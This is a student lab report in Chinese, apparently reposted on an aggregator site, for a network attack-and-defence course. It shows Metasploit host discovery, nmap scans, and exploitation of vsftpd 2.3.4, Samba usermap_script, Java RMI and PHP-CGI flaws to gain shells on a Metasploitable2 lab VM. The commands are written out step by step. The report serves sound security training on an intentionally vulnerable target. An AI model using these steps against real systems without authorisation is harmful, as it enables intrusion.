当前位置: 首页 > news >正文

20232413 2025-2026-1 《网络与系统攻防技术》实验六实验报告

Metasploit攻击渗透实践
一.实验内容
1.前期渗透操作
2.Vsftpd 源码包后门漏洞
3.Samba MS-RPC Shell 命令注入漏洞
4.Java RMI Server 命令执行漏洞
5.PHP CGI 参数执行注入漏洞
二.实验过程
2.1前期渗透操作
2.1.1主机发现(ARP扫描)
先查看靶机的IP地址,这里用的是靶机Metasploitable2

image

 

得到ip地址为192.168.48.145

启动 Kali,打开终端,输入msfconsole启动 Metasploit。

输入以下命令进行ARP扫描:

search arp_sweep

use 0

set RHOSTS 192.168.48.0/24
run

image

 得到目标主机在线,且是VMware虚拟机

2.1.2端口扫描

使用命令:

nmap -sS -sV 192.168.48.145

对靶机进行SYN扫描

image

 发现靶机上开放了大量端口和漏洞

在msfconsole中使用tcp扫描,发现靶机开放的端口如下:

image

2.2Vsftpd源码包后门漏洞(21端口)

使用命令:

nmap -sV -p 21 192.168.48.145

扫描靶机21端口

image

 看出靶机端口21开放,运行vsftpd 2.3.4

在Mestasploit中利用vsftpd 2.3.4的后门漏洞

使用命令:

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.48.145
run

image

 可以看出利用该漏洞可以获取靶机shell,用ls命令能查看目录文件

2.3SambaMS-RPC Shell命令注入漏洞(端口139)

使用命令:

nmap -p 139 192.168.48.145

扫描靶机139端口

image

 在Metasploit利用漏洞,命令如下:

use exploit/multi/samba/usermap_script
set RHOST 192.168.48.145
run

image

 获得了靶机shell,并能使用命令

2.4Java RMI SERVER命令执行漏洞(1099端口)

使用命令:

nmap -p 1099 192.168.48.145

扫描靶机1099端口是否开放

image

 在Metasploit利用Java RMI执行漏洞

use exploit/multi/misc/java_rmi_server

set RHOST 192.168.48.145
run

image

 执行漏洞后,输入shell进入交互式shell,可执行各种命令

2.5PHP CGI参数执行注入漏洞(80端口)

使用命令:

nmap -p 80 192.168.48.145

扫描靶机80端口

image

 在Metasploit中利用PHP-CGI的注入漏洞

use exploit/multi/http/php_cgi_arg_injection 

set RHOST 192.168.48.145
run

image

 攻击成功后,会获得 shell,可执行命令验证

三.问题及解决方案

问题:msfconsole无法正常使用

image

 

解决方法:执行apt update更新系统包列表,再用apt install ruby-psych安装缺失的 Ruby 依赖包,随后进入 Metasploit 目录(cd /usr/share/metasploit-framework)执行bundle install --redownload修复 Gem 依赖,必要时通过msfupdate更新 Metasploit,完成后重新运行msfconsole,即可修复依赖问题并正常启动 Metasploit。

四.学习感悟、思考

本次实验通过 Metasploit 对 Metasploitable2 靶机的多个经典漏洞进行了渗透测试,掌握了主机发现、端口扫描、漏洞利用的基本流程。Metasploit 的模块化设计极大简化了渗透测试步骤,但实际攻击中需注意目标网络环境和权限限制。通过实验深刻认识到服务版本漏洞的危害性,后续应加强对服务器版本管理和漏洞补丁的重视。

 

 

http://www.zskr.cn/news/52215.html

相关文章:

  • 在AI技术唾手可得的时代,挖掘新需求成为制胜关键——某知名智能支付协议需求探索
  • 2025年护士站板材订做厂家权威推荐榜单:医疗防护抗倍特板/医用抗倍特板/医疗洁净板源头厂家精选
  • 【项目复现上新】LLaMA Factory 微调实践:从零构建苏东坡角色扮演大模型 | 附Lab4AI平台一键复现指南
  • 2025年茉莉花茶定做厂家权威推荐榜单:青梅绿茶/无糖茶/乌龙茶源头厂家精选
  • CF2164D Copy String
  • 使用agGrid的社区版实现层级列表显示
  • 2025年山西博物馆展示柜厂家排名前十推荐:专业评测与选择指南
  • 2025年11月四川带锯床厂家口碑推荐榜单:成都鸿远机械领跑行业
  • 2025年单向逆止托辊轴承实力厂家权威推荐榜单:皮带机托辊轴承/防尘防静电轴承/橡胶托辊轴承源头厂家精选
  • MATLAB实现GPS伪距单点定位(SPP)
  • 【IEEE出版,往届会后4个月EI检索】第二届自动化、电气控制系统与设备国际学术会议(AECSE 2025)
  • 【连续十届EI稳定,JPCS出版】第十一届机械制造技术与工程材料国际学术会议(ICMTEM 2025)
  • 【MySQL】组成部分
  • 流固热力学耦合仿真机构优选蓝图心算
  • 2025/11/16 分享
  • Rust: 面向生产的 hex 替代方案
  • 别再被VO、BO、PO、DTO、DO绕晕!今天用一段代码把它们讲透
  • 2025 最新推荐折盒机制造厂家权威排行榜:半自动 / 全自动 / 定制型设备优选,国际测评认证实力品牌全解析
  • 2025年国内旧房翻新公司排名Top5推荐榜单
  • 2025 最新石灰料仓厂家推荐!专利加持 + 多场景适配石灰料仓及投加系统 / 装置优质厂家排行榜石灰料仓投加系统/石灰料仓投加装置公司推荐
  • Bootstrap在MySQL数据管理中作用大吗
  • Homework - Section Three
  • 【HD200I A2(8T)】青翼凌云科技-基于昇腾 310B 的智能计算模组
  • STM32 缓上电导致死机的问题分析
  • 2025年重庆防爆电机维修公司权威推荐:直流电机转子维修/三菱电机维修/电机水泵维修服务商精选
  • blob字段在oracle中如何进行索引
  • 2025 最新推荐!清理工具权威榜单,甄选云端管理 + 深度优化 + 安全防护全能型应用云储存 / 谷歌云盘 /icloud 储存空间 /macOS/ 苹果笔记本清理推荐
  • 2025年浙江自助免费建站公司权威推荐榜单:智能建站模板/ai建站平台/ ai自助建站源头公司精选
  • [Python刷题记录]-翻转二叉树-二叉树-简单
  • 2025年11月美胸护理品牌评测:五强口碑榜与性能对比报告